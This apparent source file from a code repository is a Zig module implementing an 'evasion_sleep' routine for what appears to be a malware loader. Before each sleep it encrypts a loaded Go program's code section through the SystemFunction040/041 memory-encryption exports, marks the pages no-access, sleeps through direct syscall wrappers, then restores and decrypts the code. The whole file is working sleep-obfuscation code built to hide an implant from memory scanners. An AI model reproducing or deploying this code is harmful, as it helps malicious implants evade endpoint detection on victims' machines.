63 lines
1.6 KiB
Zig
63 lines
1.6 KiB
Zig
// SystemFunction040/041 are advapi32 exports wrapping RtlEncryptMemory (kernel ChaCha20).
|
|
const api = @import("api.zig");
|
|
const syscall = @import("syscall.zig");
|
|
const nt = @import("nt.zig");
|
|
|
|
var g_go_text_base: ?[*]u8 = null;
|
|
var g_go_text_size: usize = 0;
|
|
|
|
const RTL_ENCRYPT_MEMORY_SIZE: u32 = 8;
|
|
|
|
fn padded_size(size: usize) u32 {
|
|
const s: u32 = @intCast(size);
|
|
return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(u32, RTL_ENCRYPT_MEMORY_SIZE - 1);
|
|
}
|
|
|
|
pub fn init_text_region(base: [*]u8, size: usize) void {
|
|
g_go_text_base = base;
|
|
g_go_text_size = size;
|
|
}
|
|
|
|
pub fn evasion_sleep(ms: u32) void {
|
|
if (g_go_text_base == null or g_go_text_size == 0) {
|
|
var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
|
|
_ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
|
|
return;
|
|
}
|
|
|
|
const base = g_go_text_base.?;
|
|
const size = g_go_text_size;
|
|
const padded = padded_size(size);
|
|
|
|
if (api.sleep_SystemFunction040) |enc| {
|
|
_ = enc(base, padded, 0);
|
|
}
|
|
var ptr: ?*anyopaque = base;
|
|
var sz: usize = size;
|
|
var old: u32 = 0;
|
|
_ = syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&ptr,
|
|
&sz,
|
|
nt.PAGE_NOACCESS,
|
|
&old,
|
|
);
|
|
|
|
var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
|
|
_ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
|
|
|
|
ptr = base;
|
|
sz = size;
|
|
_ = syscall.nt_protect_virtual_memory(
|
|
syscall.nt_current_process(),
|
|
&ptr,
|
|
&sz,
|
|
nt.PAGE_EXECUTE_READ,
|
|
&old,
|
|
);
|
|
|
|
if (api.sleep_SystemFunction041) |dec| {
|
|
_ = dec(base, padded, 0);
|
|
}
|
|
}
|